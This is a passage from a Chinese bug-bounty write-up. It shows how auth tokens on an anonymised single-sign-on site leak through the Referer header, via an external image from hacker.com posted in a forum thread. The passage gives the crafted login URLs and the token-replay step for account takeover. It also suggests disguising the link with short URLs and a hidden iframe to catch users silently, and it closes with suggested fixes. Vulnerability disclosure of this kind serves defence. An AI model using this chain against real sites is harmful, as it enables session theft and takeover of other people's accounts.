highlighter-rouge">http://www.baidu.com</code>,但是后端还是通不过,说明continue这个值没有办法指向任意域名。</p> <p>接下来把<code class="language-plaintext highlighter-rouge">continue</code>值设置为<code class="language-plaintext highlighter-rouge">http://*.AAA.com</code>发现是成功的,说明这里的校验应该是限制为了AAA.com下的任意子域名(后面测试发现其实还有一些白名单域名,比如BBB.com等)。既然是这样子,那continue参数先放着,再看看其他值。</p> <p><code class="language-plaintext highlighter-rouge">isiframe</code>这种要么1要么0,改完也没发现什么变化,跳过。 <code class="language-plaintext highlighter-rouge">CSSStyle</code>这个参数,从名字上来看应该是加载指定的css,于是可以猜想,假如成功控制了这里的值,那么是不是可以造成加载外域css然后导致xss,或者在请求该css时会泄露一些数据。经过测试之后,这个参数值并没有起作用,假的! <code class="language-plaintext highlighter-rouge">service</code>指定的是站点的标识。</p> <p>最后说到<code class="language-plaintext highlighter-rouge">location</code>这个参数,一看他的值就知道是经过编码或者加密的,那么有两种情况,在本地进行加密/编码,反之在服务端。如果在服务端,那就束手无策了,除非你天赋异禀直接给猜解出来。那如果是在客户端,找到加密/编码函数,这个参数也能为你所用了。</p> <p>在浏览器中刷新了一下请求,然后去关注一下所有加载的js脚本,我是通过以location为关键字搜到了该编码函数,函数只是简单的将参数进行编码。</p> <p>来测试<code class="language-plaintext highlighter-rouge">location</code>参数的值,一样的步骤,只是这里再加了一次编码而已。</p> <p>于是将<code class="language-plaintext highlighter-rouge">http://www.baidu.com/</code>编码一下赋值给<code class="language-plaintext highlighter-rouge">location</code>,访问</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://passport.AAA.com/sso/accounts/serviceLogin?continue=http://subdomain.AAA.com/SSOServerLogin&amp;isiframe=1&amp;service=service_id&amp;location=687474703a2f2f7777772e62616964752e636f6d&amp;CSSStyle=https://static.xxx.AAA.com/sso/subdomain/style/login_t_cover160316.css </code></pre></div></div> <p>显示 <img src="img/article/2018.1.18/图片2.png" alt="图片2.png" /> 还是有校验,而且因为校验失败,还要重新登<code class="language-plaintext highlighter-rouge">https://passport.AAA.com/</code>最后发现这里的校验和<code class="language-plaintext highlighter-rouge">continue</code>参数情况一模一样。</p> <p>到现在这种情况,正面刚域名欺骗已经不可能了。回过头来,我们刚刚测试有发现<code class="language-plaintext highlighter-rouge">continue</code>的值可以是AAA.com下的任意子域名(还有一些指定的白名单跨域域名),那么首先能想到的就是如果我们能找到AAA.com下的一个跳转漏洞,那么是不是就可以在跳转后把授权给传送出去呢?</p> <p>于是找了几个子域名下的跳转:<code class="language-plaintext highlighter-rouge">http://subdomian.AAA.com/topLocation?location=687474703a2f2f7777772e62616964752e636f6d</code>这个链接访问后会跳转到百度,于是将其值给<code class="language-plaintext highlighter-rouge">continue</code>,确实是可以跳转,但是跳转后的结果却是</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://subdomain.AAA.com/topLocation?auth=xxxxxx&amp;isiframe=1&amp;location=687474703a2f2f737562646f6d61696e2e4141412e636f6d2f </code></pre></div></div> <p>浏览器再进而请求<code class="language-plaintext highlighter-rouge">http://subdomain.AAA.com/topLocation?location=687474703a2f2f742e77616e6d65692e636f6d2f</code></p> <p>看到没,授权值是/topLocation?auth=xxxx而不是<code class="language-plaintext highlighter-rouge">http://www.baidu.com/?auth=xxxx</code>或者是<code class="language-plaintext highlighter-rouge">http://subdomian.AAA.com/topLocation?location=687474703a2f2f7777772e62616964752e636f6d&amp;auth=xxxx</code>,也就是说服务端只获取了?(问号)前面的值而后面的直接丢弃,导致跳转失效了,自然授权值也就传不出去了。</p> <p>又重新找了几个通过参数进行跳转的跳转漏洞,结果都是?之后被截断,这条路也就行不通了,除非能找到一个不带?的跳转,这个就比较难了,直接放弃。</p> <p>再想想还有什么办法获取到这个授权值呢?对了,网站在跨域请求网站内容时会通过referer来标记来源,如果当前发起请求的页面链接中存在授权值,则referer也会记录该值!</p> <p>上面的跳转漏洞,由于授权值是返回给<code class="language-plaintext highlighter-rouge">http://subdomian.AAA.com/</code>,完了之后才对外跳转,referer是不含有该授权值的。</p> <p>陆续又找了几个跳转漏洞,由于包含多重跳转,到最后referer带的都不是我们想要的数据了。</p> <p>思路又断了,这时候又突然想到,在AAA.com域名下是有很多bbs的二级域名站点的,如果能在bbs站点插入对外的请求,那么是不是有机会把数据传出去呢?</p> <p>刚好<code class="language-plaintext highlighter-rouge">bbs.subdomain.AAA.com</code>这个站点允许插入外链图片 <img src="img/article/2018.1.18/图片3.png" alt="图片3.png" /> 插入的图片html代码如下</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;img id="aimg_gyvvi" onclick="zoom(this, this.src, 0, 0, 0)" class="zoom" width="440" height="440" src="http://hacker.com/jpg/12345.jpg" border="0" alt=""&gt; </code></pre></div></div> <p>最后构造链接:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://passport.AAA.com/sso/accounts/serviceLogin?continue=http://bbs.subdomain.AAA.com/thread-942592-1-1.html&amp;isiframe=1&amp;service=service_id&amp;location=687474703a2f2f7777772e62616964752e636f6d&amp;CSSStyle=https://static.xxx.AAA.com/sso/subdomain/style/login_t_cover160316.css </code></pre></div></div> <p>访问后Referer如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://bbs.subdomain.AAA.com/thread-942592-1-1.html?auth=xxxxxx&amp;isiframe=1&amp;location=687474703a2f2f7777772e62616964752e636f6d </code></pre></div></div> <p>referer成功附带授权数据。</p> <p>获取到授权后,只需要在正常的模拟一次授权过程,把接收授权返回值的接口找出来,把通过referer获取到的auth值喂给它,即可登录对应用户的账户:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://subdomain.AAA.com/SSOServerLogin?auth=xxxxxxxx&amp;isiframe=1&amp;location=687474703a2f2f7777772e62616964752e636f6d </code></pre></div></div> <p>上面的文字内容偏多,可能读起来费劲,以下为图文并茂内容。</p> <p>可被黑客劫持用户授权的站点: http://<em>.AAA.com/ http://</em>.BBB.com/</p> <h4 id="漏洞细节">漏洞细节:</h4> <p>AAA.com支持通过 “通行证”登录旗下各个站点,登录口是 <code class="language-plaintext highlighter-rouge">https://passport.AAA.com/</code></p> <p>在我们要登录<code class="language-plaintext highlighter-rouge">http://subdomain.AAA.com/</code>时就可以看到该接口</p> <p><img src="img/article/2018.1.18/图片4.png" alt="图片4.png" /></p> <h5 id="1前期准备">【1】前期准备</h5> <p>一个“通行证”账号 登录后在子域名论坛发了个帖子 <code class="language-plaintext highlighter-rouge">http://bbs.subdomain.AAA.com/thread-942592-1-1.html</code> <img src="img/article/2018.1.18/图片5.png" alt="图片5.png" /> 帖子嵌入了一个外链图片 <img src="img/article/2018.1.18/图片6.png" alt="图片6.png" /> 当这个页面被请求时,浏览器就会对外请求该图片 <code class="language-plaintext highlighter-rouge">http://hacker.com/jpg/12345.jpg</code></p> <p>然后黑客服务器可以通过记录referer来得知是哪一个站点发起的请求,即referer的数据都可得。</p> <h5 id="2">【2】</h5> <p>在已经登录<code class="language-plaintext highlighter-rouge">https://passport.AAA.com/</code>的情况下 (1)访问</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://passport.AAA.com/sso/accounts/serviceLogin?continue=http://bbs.subdomain.AAA.com/thread-942592-1-1.html&amp;isiframe=1&amp;service=service_id&amp;location=687474703a2f2f737562646f6d61696e2e4141412e636f6d2f&amp;CSSStyle=https://static.xxx.AAA.com/sso/subdomain/style/login_t_cover160316.css </code></pre></div></div> <p>简单介绍一下<code class="language-plaintext highlighter-rouge">continue</code>参数指向的是我上面发布的那个帖子,<code class="language-plaintext highlighter-rouge">location</code>的值是通过网站的函数编码过的<code class="language-plaintext highlighter-rouge">http://subdomain.AAA.com/</code></p> <p>访问后,授权的数据就会自动附带在链接中如下: <img src="img/article/2018.1.18/图片7.png" alt="图片7.png" /> 可以看到在请求这张对外的图片时,也把授权用的<code class="language-plaintext highlighter-rouge">auth</code>等参数的值以referer的方式向网站发起了请求,而我们只需要在服务器记录请求即可获取到改值。</p> <p>获取到这些值后: <code class="language-plaintext highlighter-rouge">auth=xxxx&amp;isiframe=1&amp;location=687474703a2f2f737562646f6d61696e2e4141412e636f6d2f</code></p> <p>我们在浏览器的隐身窗口(以保证我们没有登录passport.AAA.com)中打开如下链接:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://subdomain.AAA.com/SSOServerLogin?auth=xxxx&amp;isiframe=1&amp;location=687474703a2f2f737562646f6d61696e2e4141412e636f6d2f </code></pre></div></div> <p>即可登录对应账号在<code class="language-plaintext highlighter-rouge">subdomain.AAA.com</code>的用户中心 <img src="img/article/2018.1.18/图片8.png" alt="图片8.png" /> <img src="img/article/2018.1.18/图片9.png" alt="图片9.png" /></p> <p>(2)访问</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://passport.AAA.com/sso/accounts/serviceLogin?continue=http://bbs.subdomain.AAA.com/thread-942592-1-1.html&amp;service=service_id&amp;isiframe=1&amp;location=687474703a2f2f7777772e4242422e636f6d2f </code></pre></div></div> <p>这里<code class="language-plaintext highlighter-rouge">continue</code>还是指向我的帖子,<code class="language-plaintext highlighter-rouge">service</code>指定为对应站点,<code class="language-plaintext highlighter-rouge">location</code>的值为默认 <img src="img/article/2018.1.18/图片10.png" alt="图片10.png" /> 获取到auth等参数的值<code class="language-plaintext highlighter-rouge">auth=yyyy&amp;isiframe=1&amp;location= 687474703a2f2f7777772e4242422e636f6d2f</code></p> <p>然后在浏览器的新建隐身窗口中打开如下链接:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://www.BBB.com/sso/loginPc?auth=yyyy&amp;isiframe=1&amp;location=687474703a2f2f7777772e4242422e636f6d2f </code></pre></div></div> <p><img src="img/article/2018.1.18/图片11.png" alt="图片11.png" /> 这时候已经授权完,但是页面会在那一直重复刷新,没关系,我们这时候重新请求<code class="language-plaintext highlighter-rouge">http://www.BBB.com/main.htm</code> <img src="img/article/2018.1.18/图片12.png" alt="图片12.png" /> 发现我们已经登录进该网站</p> <p>但是,但是,但是,如果你去访问<code class="language-plaintext highlighter-rouge">http://members.BBB.com</code> 会显示你还未登录</p> <p>所以我们可以用下面的方法继续</p> <p>请求如下链接:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://passport.AAA.com/sso/accounts/serviceLogin?continue=http://bbs.subdomain.AAA.com/thread-942592-1-1.html?&amp;isiframe=1&amp;service=service_id&amp;location=687474703a2f2f7777772e4242422e636f6d2f </code></pre></div></div> <p><code class="language-plaintext highlighter-rouge">continue</code>还是指向帖子,<code class="language-plaintext highlighter-rouge">location</code>为<code class="language-plaintext highlighter-rouge">http://members.BBB.com/</code> <img src="img/article/2018.1.18/图片13.png" alt="图片13.png" /> 通过referer,网站成功获得 <code class="language-plaintext highlighter-rouge">auth=zzzz&amp;isiframe=1&amp;location=687474703a2f2f7777772e4242422e636f6d2f</code> 在新建隐身窗口中打开如下链接:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://members.BBB.com/SSOServerLogin?auth=zzzz&amp;isiframe=1&amp;location=687474703a2f2f7777772e4242422e636f6d2f </code></pre></div></div> <p><img src="img/article/2018.1.18/图片14.png" alt="图片14.png" /></p> <p><img src="img/article/2018.1.18/图片15.png" alt="图片15.png" /> 登录用户中心成功!</p> <h5 id="3">【3】</h5> <p>在未登录<code class="language-plaintext highlighter-rouge">https://passport.AAA.com/</code>的情况下 实际上和上面的也没差别,链接还是一样,只是当下要你马上登录而已 <img src="img/article/2018.1.18/图片16.png" alt="图片16.png" /> 登录后还是会跳转到那个帖子,然后通过referer传递数据 这种情况下链接可能比较长,那么可以通过短链接来进行伪装</p> <h5 id="4更好的利用漏洞">【4】更好的利用漏洞</h5> <p>(1)子域名下有很多bbs站点,那么去论坛上发帖,然后把链接弄成短链接,如果是已经登录的用户就直接中招了,如果是未登录的用户,那么他点了链接之后登录也会中招。 (2)对于攻击已登录的用户,还有一个更好的办法,那么就是像利用csrf一样,在自己的网站直接用隐藏的iframe请求,用户无声无息就中招了</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;iframe id=kk src= "https://passport.AAA.com/sso/accounts/serviceLogin?continue=http:// bbs.subdomain.AAA.com/thread-942592-1-1.html&amp;isiframe=1&amp;service=service_id&amp;location=687474703a2f2f7777772e4242422e636f6d2f&amp;CSSStyle=https://static.xxx.AAA.com/sso/subdomain/style/login_t_cover160316.css" border= "1" frameborder= "1 " width= "100 " height= "100 " style= "display:none "&gt; &lt;/iframe&gt; </code></pre></div></div> <p><img src="img/article/2018.1.18/图片17.png" alt="图片17.png" /></p> <h4 id="修复方案">修复方案:</h4> <p>可以在后端直接就指定了<code class="language-plaintext highlighter-rouge">service</code>对应的地址,所以你在请求时无论改什么,最后授权都是返回指定的网站。另外一个的话,论坛最好还是不要允许直接插入外链,每个网站在对外发起请求时最好有一个中转站点用来脱敏,可以参考qq邮箱或者知乎的外链脱敏方法。</p> Fri, 19 Jan 2018 00:00:00 +0800 http://b.cp0.win/%E5%9C%A8%E5%8D%95%E7%82%B9%E7%99%BB%E5%BD%95%E7%9A%84%E7%BD%91%E7%AB%99%E9%80%9A%E8%BF%87referer%E7%9B%97%E5%8F%96%E7%94%A8%E6%88%B7%E6%8E%88%E6%9D%83.php http://b.cp0.win/%E5%9C%A8%E5%8D%95%E7%82%B9%E7%99%BB%E5%BD%95%E7%9A%84%E7%BD%91%E7%AB%99%E9%80%9A%E8%BF%87referer%E7%9B%97%E5%8F%96%E7%94%A8%E6%88%B7%E6%8E%88%E6%9D%83.php bounty bounty